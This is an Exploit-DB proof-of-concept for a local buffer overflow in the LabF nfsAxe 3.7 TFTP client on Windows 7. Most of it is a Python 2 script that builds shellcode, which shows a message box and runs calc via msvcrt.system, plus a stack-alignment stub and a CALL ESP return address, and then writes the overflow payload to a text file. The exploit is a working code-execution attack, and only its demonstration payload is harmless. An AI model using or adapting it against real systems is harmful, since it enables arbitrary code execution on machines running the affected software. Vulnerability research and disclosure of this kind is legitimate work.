LabF nfsAxe 3.7 TFTP Client - Local Buffer Overflow

EDB-ID: 43930
Author: Miguel Mendez Z
Published: 2018-01-30
CVE: N/A
Type: Dos
Platform: Windows
Vulnerable App: Download Vulnerable Application

 ######################################################################################################## 
# Exploit Author: Miguel Mendez Z
# Exploit Title: LabF nfsAxe v3.7 - TFTP "Input Directory" Local Buffer Overflow
# Date: 29-01-2018
# Software: LabF nfsAxe
# Version: v3.7
# Vendor Homepage: http://www.labf.com
# Software Link: http://www.labf.com/download/nfsaxe.exe
# Tested on: Windows 7 x86
########################################################################################################

import struct

ropAlignEsp = (
"\x83\xEC\x58" #SUB ESP,58
"\x83\xEC\x58" #SUB ESP,58
"\x83\xEC\x58" #SUB ESP,58
"\x83\xEC\x58" #SUB ESP,58
"\x83\xEC\x10" #SUB ESP,10
"\xFF\xE4" #JMP ESP
)

scode = "\xB9\xEF\xEE\xEE\xEE" #MOV ECX,EEEEEEEF
scode += "\x81\xC1\x11\x11\x11\x11" #ADD ECX,11111111
scode += "\x51" #PUSH ECX
scode += "\x68\x31\x30\x73\x21" #PUSH 31307321
scode += "\x68\x73\x31\x6b\x72" #PUSH 73316b72
scode += "\x68\x5f\x62\x79\x5f" #PUSH 5f62795f
scode += "\x68\x70\x77\x6e\x64" #PUSH 70776e64
scode += "\x68\x42\x30\x66\x5f" #PUSH 4230665f
scode += "\x8B\xD4" #MOV EDX,ESP
scode += "\x48" #DEC EAX
scode += "\x50" #PUSH EAX
scode += "\x52" #PUSH EDX
scode += "\x52" #PUSH EDX
scode += "\x50" #PUSH EAX
scode += "\xBA\x11\xEA\x1A\x76" #MOV EDX,USER32.MessageBoxA() (Change)
scode += "\xFF\xD2" #CALL EDX
#--------------
scode += "\x33\xD2" #XOR EDX,EDX
scode += "\xB9\xEF\xEE\xEE\xEE" #MOV ECX,EEEEEEEF
scode += "\x81\xC1\x11\x11\x11\x11" #ADD ECX,11111111
scode += "\x51" #PUSH ECX
scode += "\x68\x63\x61\x6c\x63" #PUSH 0x63616c63
scode += "\x8B\xD4" #MOV EDX,ESP
scode += "\x52" #PUSH EDX
scode += "\x33\xD2" #XOR EDX,EDX
scode += "\xBA\x6F\xB1\x0F\x76" #MOV EDX,msvcrt.system - 0x760fb16f (Change)
scode += "\xFF\xD2" #CALL EDX
#--------------
scode += "\x50" #PUSH EAX
scode += "\xB8\xE2\xBB\xB5\x75" #MOV EAX,kernel32.ExitProcess() (Change)
scode += "\xFF\xD0" #CALL EAX

offset = "Host: "+scode+"A"*(1000-len(scode))+"\n"
offset += "File(s): "+"B"*33
offset += struct.pack("<L",0x75A6923D) #CALL ESP ADVAPI32.DLL
offset += "B"*5
offset += ropAlignEsp
offset += "B"*(1037-37+(len(ropAlignEsp)-5))+"\n"
offset += "Remote Dir y Local Dir: "+"C"*1000

payload = offset
print "Payload len: "+str(len(payload))
print "Shellcode len: "+str(len(scode))

file=open('tftpPoc.txt','w')
file.write(payload)
file.close()

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